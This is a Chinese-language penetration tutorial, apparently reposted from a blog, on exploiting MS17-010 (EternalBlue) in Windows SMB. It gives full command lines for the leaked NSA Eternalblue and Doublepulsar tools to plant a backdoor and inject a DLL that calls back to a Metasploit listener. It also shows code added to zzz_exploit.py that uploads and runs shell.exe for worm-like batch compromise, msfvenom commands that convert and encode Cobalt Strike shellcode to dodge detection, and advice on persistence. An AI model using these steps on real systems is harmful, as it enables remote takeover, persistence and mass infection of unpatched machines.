10.MS17-010的各种利用操作
作者:互联网
一、Metasploit中的ms17-010:
可以直接search查看,MSF之前的写过了就不再赘述了。
0 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
针对MS17010集成以下3个工具EternalRomance 永恒浪漫 、EternalSynergy 永恒协作 、EternalChampion 永恒之冠,来执行OS命令的辅助模块
1 auxiliary/scanner/smb/smb_ms17_010 normal Yes MS17-010 SMB RCE Detection
扫描是否存在MS17010漏洞
2 exploit/windows/smb/doublepulsar_rce 2017-04-14 great Yes DOUBLEPULSAR Payload Execution and Neutralization
针对别人已经安装好后门之后的利用模块
3 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
针对存在MS17010关于永恒之蓝x64的windows 2008R2/windows 7的利用模块
4 exploit/windows/smb/ms17_010_eternalblue_win8 2017-03-14 average No MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
针对存在MS17010关于永恒之蓝的windows 8+的利用模块
5 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
针对MS17010集成以下3个工具EternalRomance 永恒浪漫 、EternalSynergy 永恒协作 、EternalChampion 永恒之冠,来获取shell的漏洞利用模块
二、NSA原版ms17-010:
1、原版ms17-010的下载和配置:
原版的ms17-010胜在比较稳定,相比MSF那个更不容易蓝屏。
下载地址:https://github.com/x0rz/EQGRP_Lost_in_Translation
下载后,将工具包中以下三个目录中的文件拷贝到同一个目录中(因为64位系统是支持32位的,所以直接复制32位的就好了):
windows\lib\x86-Windows\
windows\specials\
windows\payloads\
然后在目录中,把Eternalblue-2.2.0.0.xml文件重命名成Eternalblue-2.2.0.xml,Doublepulsar-1.3.1.0.xml改为Doublepulsar-1.3.1.xml
2、执行命令:
①Eternalblue-2.2.0.exe --TargetIp 10.10.24.231 --Target WIN72K8R2 --DaveProxyPort=0 --NetworkTimeout 60 --TargetPort 445 --VerifyTarget True --VerifyBackdoor True --MaxExploitAttempts 3 --GroomAllocations 12 --OutConfig outlog.txt
②Doublepulsar-1.3.1.exe --OutConfig 2.txt --TargetIp 10.10.24.231 --TargetPort 445 --DllPayload msf_241.176_x86_8080.dll --DllOrdinal 1 ProcessName explorer.exe --ProcessCommandLine --Protocol SMB --Architecture x64 --Function Rundll
其实我们可以直接输入Eternalblue-2.2.0.exe --help查看具体命令
注意,在第一条命令中:
--TargetIp 10.10.24.231 //写对方的IP
--Target WIN72K8R2 //是win7的意思,如果是xp就改为--Target xp,如果是2003直接用MSF那个就好了
--NetworkTimeout 60 //设置超时时间
--TargetPort 445 //设置目标端口
--MaxExploitAttempts 3 //设置攻击尝试的次数,这个数值可以调大一些,攻击几百上千次都是有可能的
--OutConfig outlog.txt //日志
其他的参数都是默认的不用更改
然后在cmd中执行第一条命令(注意执行命令要在正确的路径下,可以用ctrl+shift+右键在当前目录打开cmd),出现下面的否会结果就说明后门安装成功了
第二条命令:
然后我们就可以用第二条命令,通过后门传送一个rundll的马过去,注意第二条命令的--TargetIp要与第一条命令的一致,其他的参数不用动,其中:
ProcessName explorer.exe //是注入的进程
--Architecture x64 //是64位系统,可以按情况改为x86
--DllPayload msf_241.176_x86_8080.dll //这个pyload是msf用msfvenom生成的,命令忘了可以看看前面的msf笔记。dll文件生成后直接放到Doublepulsar-1.3.1.exe同目录下即可(也就是之前三合一生成的目录),否则要写绝对路径。
此外,如果利用msf生成dll文件,执行第二条命令之前别忘了在msf上用hindler开启监听。
执行命令后,MSF就出现meterpreter了
这个稳定性很高,当然还是有少数机器会重启(但重启不会立即执行),因此在执行MSF或CS生成的dll并弹回shell后必须马上输入添加启动项的命令,因此最好事先敲好命令直接复制进去执行
3、ms17-010的批量自动化渗透
文件下载地址:https://github.com/LFODER/MS17-010
解压后看到zzz_exploit.py文件,该会在C盘根目录创建 pwded.txt 文件,可以修改它来执行你的Payload。
这里我们直接打开zzz_exploit.py文件,看到这里:
我们也可以在这串代码后面加上:
smb_send_file(smbConn, '/opt/shell.exe', 'C', '/shell.exe')
service_exec(conn, r'cmd /c c:\\shell.exe')
这两行代码的意思是通过SMB发送文件,将 本地的 /opt/shell.exe 发送至被攻击机器的 C:\shell.exe 并执行 shell.exe 。那么这里的shell.exe是从哪来的呢,MSF的msfvenom懂的都懂,不记得的回去看一下MSF怎么创建文件的。
最终,在命令行终端 输入 python zzz_exploit.py [IP] 来实施攻击。
被攻击机器会收到来自攻击机发送的恶意文件并执行,从而自动化渗透,实现蠕虫病毒的效果(别忘了msf上开启监听)。
三、Cobalt Strike DLL用于永恒之蓝注入
1、原因:
我们在对存在MS17010的漏洞主机进⾏DLL注⼊的时候,⼀般都是⽤的Meataploit的msf venom⽣成出来的,所以每次上线之 后基本都是要经过相对⽐较繁琐的操作之后转到Cobalt Strike去,这样就会显得⾮常⿇烦。所以可以使⽤metasploit的msf venom来把Cobalt Strike⽣成的bin转成DLL。
2、具体操作:
先用Cobalt Strike建立一个bin文件
生成文件后,打开msf,用命令将这个bin文件转化为dll文件
转化命令:msfvenom -p generic/custom PAYLOADFILE=./payload.bin -a x64 --platform windows -f dll -o shell.dll
此时,这个 shell.dll ,就能⽤于在进⾏永恒之蓝的漏洞的dll注⼊了。
3、转化命令的更多了解
msfvenom命令参数⾮常多,还有就是要注意你的shellcode是x64还是x86,那么你在⽤msfvenom的时进⾏变换。 其实转化⽅法⼀共分两种:
①msfvenom -p generic/custom PAYLOADFILE=./shellcode.bin -a x86 --platform windows - e x86/add_sub -f dll -o shellcode-encoded.dll
②cat <shellcode_file> | msfvenom -b <bad_chars> -e -f -a --platform -p -
例子:
cat ~/Desktop/shellcode.bin|./msfvenom -b '\x00' -e x86/shikata_ga_nai --encrypt xor - -encrypt-key 0x69 --arch x86 --platform windows -f c -p -
注意:
Error: Initialization vector is missing
解决⽅案:For AES-256 the key size must be 256 bits or 32 bytes. The IV for CFB mode - as stated earlier - must always be 16 bytes as AES is a 128 bit block cipher. AES is restricted with regards to the block size compared with the Rijndael cipher.
msfvenom使⽤aes256加密时,--encrypt-key长度 为32,--encrypt-iv长度为16位
此外我们也可以用msfvenom -h 查看参数
标签:10,exe,--,dll,010,windows,shell,MS17 来源: https://www.cnblogs.com/Thorndike/p/15242477.html